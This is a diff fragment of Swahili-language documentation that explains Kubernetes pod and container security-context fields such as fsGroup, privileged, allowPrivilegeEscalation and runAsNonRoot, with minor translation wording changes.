| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>Kikundi maalum cha nyongeza kinachotumika kwa <strong>mashine zote ndani ya pod</strong>. Aina fulani za volumu zinamruhusu Kubelet kubadilisha <strong>umiliki wa volumu hiyo</strong> kuwa umiliki wa pod:<br>1. GID inayomiliki itakuwa FSGroup<br>2. Bit ya setgid imewekwa (faili mpya zinazoundwa katika volumu zitakuwa na umiliki wa FSGroup)<br>3. Bit za ruhusa zimeunganishwa na rw-rw---- Ikiwa haijapangwa, Kubelet haitabadilisha umiliki na ruhusa za volumu yoyote</p> |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>Kikundi maalum cha nyongeza kinachotumika kwa <strong>mashine zote ndani ya pod</strong>. Aina fulani za volumu zinamruhusu Kubelet kubadilisha <strong>umiliki wa volumu hiyo</strong> kuwa umiliki wa pod:<br>1. GID inayomiliki itakuwa FSGroup<br>2. Bit ya setgid imewekwa (faili mpya zinazoundwa kwenye volumu zitakuwa na umiliki wa FSGroup)<br>3. Bit za ruhusa zimeunganishwa na rw-rw---- Ikiwa haijapangwa, Kubelet haitabadilisha umiliki na ruhusa za volumu yoyote</p> |
|
||||
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>string</em></p> | Hii inafafanua tabia ya **kubadilisha umiliki na ruhusa za volumu** kabla ya kuonyeshwa ndani ya Pod. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | **GID ya kuendesha kiingilio cha mchakato wa kontena**. Inatumia chaguo la kawaida la wakati wa kukimbia ikiwa haijapangwa. |
|
||||
@@ -23,7 +23,7 @@ Unapofafanua muktadha wa usalama wa Pod unaweza kutumia sifa kadhaa. Kutoka kwa
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>Maelezo zaidi kuhusu</em> <em><strong>seLinux</strong></em></p> | **Muktadha wa SELinux utakaotumika kwa kontena zote**. Ikiwa haijapangwa, wakati wa kukimbia wa kontena utagawanya muktadha wa SELinux wa nasibu kwa kila kontena. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a><br><em>Maelezo zaidi kuhusu</em> <em><strong>Seccomp</strong></em></p> | **Chaguzi za seccomp zinazotumika na kontena** katika pod hii. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>supplementalGroups</strong></a><br><em>integer array</em></p> | Orodha ya **makundi yanayotumika kwa mchakato wa kwanza unaokimbia katika kila kontena**, pamoja na GID ya msingi ya kontena. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>sysctls</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core"><em>Sysctl</em></a> <em>array</em><br><em>Maelezo zaidi kuhusu</em> <a href="https://www.garron.me/en/go2linux/sysctl-linux.html"><em><strong>sysctls</strong></em></a></p> | Sysctls ina orodha ya **sysctls zilizowekwa kwa pod**. Pods zenye sysctls zisizoungwa mkono (na wakati wa kukimbia) zinaweza kushindwa kuanzishwa. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>sysctls</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core"><em>Sysctl</em></a> <em>array</em><br><em>Maelezo zaidi kuhusu</em> <a href="https://www.garron.me/en/go2linux/sysctl-linux.html"><em><strong>sysctls</strong></em></a></p> | Sysctls ina orodha ya **sysctls zilizowekwa kwa pod**. Pods zenye sysctls zisizoungwa mkono (na wakati wa kukimbia wa kontena) zinaweza kushindwa kuanzishwa. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | Mipangilio maalum ya Windows inayotumika kwa kontena zote. Ikiwa haijapangwa, chaguzi ndani ya SecurityContext ya kontena zitatumika. |
|
||||
|
||||
## SecurityContext
|
||||
@@ -42,12 +42,12 @@ Muktadha huu umewekwa ndani ya **m definitions za kontena**. Kutoka kwa mtazamo
|
||||
|
||||
Kumbuka kwamba sifa zilizowekwa katika **SecurityContext na PodSecurityContext**, thamani iliyowekwa katika **SecurityContext** inachukua **kipaumbele**.
|
||||
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>boolean</em></p> | **AllowPrivilegeEscalation** inasimamia ikiwa mchakato unaweza **kupata ruhusa zaidi** kuliko mchakato wa mzazi. Hii bool inasimamia moja kwa moja ikiwa bendera ya no_new_privs itawekwa kwenye mchakato wa kontena. AllowPrivilegeEscalation ni kweli kila wakati wakati kontena inakimbia kama **Privileged** au ina **CAP_SYS_ADMIN** |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>boolean</em></p> | **AllowPrivilegeEscalation** inasimamia ikiwa mchakato unaweza **kupata ruhusa zaidi** kuliko mchakato wake wa mzazi. Hii bool inasimamia moja kwa moja ikiwa bendera ya no_new_privs itawekwa kwenye mchakato wa kontena. AllowPrivilegeEscalation ni kweli kila wakati wakati kontena inakimbia kama **Privileged** au ina **CAP_SYS_ADMIN** |
|
||||
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>Maelezo zaidi kuhusu</em> <em><strong>Capabilities</strong></em></p> | **Uwezo wa kuongeza/kutoa unapokimbia kontena**. Inarudi kwa seti ya kawaida ya uwezo. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>boolean</em></p> | Kimbia kontena katika hali ya kupendelea. Mchakato katika kontena zilizo na nguvu ni kimsingi **sawa na mzizi kwenye mwenyeji**. Inarudi kwa uongo. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p> | procMount inaonyesha **aina ya proc mount inayotumika kwa kontena**. Chaguo la kawaida ni DefaultProcMount ambayo inatumia chaguo za wakati wa kukimbia kwa njia zisizoweza kuandikwa na njia zilizofichwa. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p> | Ikiwa **kontena hii ina mfumo wa faili wa mzizi usio na kuandikwa**. Chaguo la kawaida ni uongo. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>boolean</em></p> | Kimbia kontena katika hali ya privileji. Mchakato katika kontena zilizo na privileji ni sawa na **mzizi kwenye mwenyeji**. Inarudi kwa uongo. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p> | procMount inaashiria **aina ya proc mount inayotumika kwa kontena**. Chaguo la kawaida ni DefaultProcMount ambayo inatumia chaguo za wakati wa kukimbia kwa njia zisizoweza kuandikwa na njia zilizofichwa. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p> | Ikiwa **kontena hii ina mfumo wa faili wa mzizi usioandikwa**. Chaguo la kawaida ni uongo. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | **GID ya kuendesha kiingilio** cha mchakato wa kontena. Inatumia chaguo la kawaida la wakati wa kukimbia ikiwa haijapangwa. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | Inaonyesha kwamba kontena lazima **ikimbie kama mtumiaji asiye mzizi**. Ikiwa ni kweli, Kubelet itathibitisha picha wakati wa kukimbia ili kuhakikisha kwamba haikimbii kama UID 0 (mzizi) na itashindwa kuanzisha kontena ikiwa inafanya hivyo. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | **UID ya kuendesha kiingilio** cha mchakato wa kontena. Inarudi kwa mtumiaji aliyeainishwa katika metadata ya picha ikiwa haijapangwa. |
|
||||
|
||||
Reference in New Issue
Block a user